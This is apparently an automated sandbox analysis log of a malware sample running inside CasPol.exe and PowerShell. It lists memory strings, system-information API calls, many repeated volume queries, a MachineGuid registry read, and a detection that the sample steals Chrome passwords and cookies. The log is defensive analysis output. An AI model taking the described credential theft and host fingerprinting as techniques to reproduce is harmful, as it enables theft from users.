Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerG
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001373000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager#
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001373000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager$
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager3I\031
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001363000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager3I\21
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager3I\
Source: CasPol.exe, 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, logs.dat.12.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00434015 cpuid

12_2_00434015

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoA,	12_2_0040E751
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_0045107A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	12_2_004512CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	12_2_004472BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_004513F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	12_2_004514FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_004515C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	12_2_004477A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	12_2_00450C8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	12_2_00450F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	12_2_00450F07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	12_2_00450FED

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00404915 GetLocalTime,CreateEventA,CreateThread,

12_2_00404915

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041A9AD GetComputerNameExW,GetUserNameW,

12_2_0041A9AD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00448267 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

12_2_00448267

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_0041739B GetVersionExW,

13_2_0041739B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
